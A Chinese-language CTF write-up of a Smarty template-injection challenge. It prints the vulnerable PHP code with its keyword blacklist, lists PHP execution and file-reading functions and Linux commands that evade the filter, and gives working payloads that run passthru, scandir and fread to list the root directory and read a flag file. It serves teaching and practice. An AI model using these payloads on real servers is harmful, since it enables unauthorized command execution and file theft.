打开网页,就看到了pass a parameter and maybe the flag file's filename is random :> 。 ?a=1随意输入参数,即可获取到smarty提示,有可能是模板注入。 验证是否为模板注入 ?a={7*7}。 random — 生成伪随机数
<?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
highlight_file('index.php');
foreach ($_GET AS $key => $value)
{
print $key."\n";
if(preg_match("/flag|\/flag/i", $value)){
$smarty->display('./template.html');
}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
$smarty->display('./template.html');
}else{
$smarty->display("eval:".$value);
}
}
}
?>
php命令执行函数: passthru — 执行外部程序并且显示原始输出 system — 执行外部程序,并且显示输出 popen — 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 fopen() 函数打开文件或者 URL。 assert --函数直接将传入的参数当成PHP代码执行 scandir 列出指定路径中的文件和目录 eval — 把字符串作为PHP代码执行 cat tac more less head tail nl static-sh paste od bzmore bzless //linux查看文件的命令 print_r() fread() fgets() vardump() //php文件读取函数 使用passthru函数找到flag文件,并读取flag文件内容 ?a={passthru(“ls -al /”)} ?a={passthru(“tac /_18353”)} 使用scandir函数找到flag文件,并读取flag文件内容 ?f={print_r(scandir("/"))} ?f={var_dump(scandir("/"))} ?f={fread(fopen("/_18353",“r”),4096)}
|